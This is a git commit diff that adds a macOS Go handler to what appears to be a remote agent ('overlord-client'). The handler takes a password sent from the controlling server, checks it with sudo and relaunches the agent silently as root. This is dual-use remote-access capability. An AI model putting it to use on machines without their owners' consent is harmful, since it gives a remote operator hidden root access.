new mac update for permission issues.

2026-04-13 10:49:36 -05:00
parent 66393d5ba4
commit 792de1e22c
21 changed files with 480 additions and 29 deletions
@@ -0,0 +1,91 @@
+//go:build darwin
+
+package handlers
+
+import (
+	"context"
+	"fmt"
+	"log"
+	"os"
+	"os/exec"
+	"strings"
+	"time"
+
+	agentRuntime "overlord-client/cmd/agent/runtime"
+	"overlord-client/cmd/agent/wire"
+)
+
+func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
+	if os.Getuid() == 0 {
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+			Type:      "command_result",
+			CommandID: cmdID,
+			OK:        true,
+			Message:   "already running as root",
+		})
+	}
+
+	if password == "" {
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+			Type:      "command_result",
+			CommandID: cmdID,
+			OK:        false,
+			Message:   "password required for elevation",
+		})
+	}
+
+	exePath, err := os.Executable()
+	if err != nil {
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+			Type:      "command_result",
+			CommandID: cmdID,
+			OK:        false,
+			Message:   fmt.Sprintf("failed to resolve executable path: %v", err),
+		})
+	}
+
+	validateCmd := exec.Command("sudo", "-S", "-k", "true")
+	validateCmd.Stdin = strings.NewReader(password + "\n")
+	if err := validateCmd.Run(); err != nil {
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+			Type:      "command_result",
+			CommandID: cmdID,
+			OK:        false,
+			Message:   "incorrect password",
+		})
+	}
+
+	args := os.Args[1:]
+	sudoArgs := append([]string{"-S", "-k", exePath}, args...)
+	cmd := exec.Command("sudo", sudoArgs...)
+	cmd.Stdin = strings.NewReader(password + "\n")
+	cmd.Env = os.Environ()
+
+	nullFile, _ := os.OpenFile(os.DevNull, os.O_RDWR, 0)
+	if nullFile != nil {
+		cmd.Stdout = nullFile
+		cmd.Stderr = nullFile
+	}
+
+	if err := cmd.Start(); err != nil {
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+			Type:      "command_result",
+			CommandID: cmdID,
+			OK:        false,
+			Message:   fmt.Sprintf("failed to start elevated process: %v", err),
+		})
+	}
+
+	log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid)
+
+	_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+		Type:      "command_result",
+		CommandID: cmdID,
+		OK:        true,
+		Message:   "elevating — new process started as root",
+	})
+
+	time.Sleep(500 * time.Millisecond)
+	os.Exit(0)
+	return nil
+}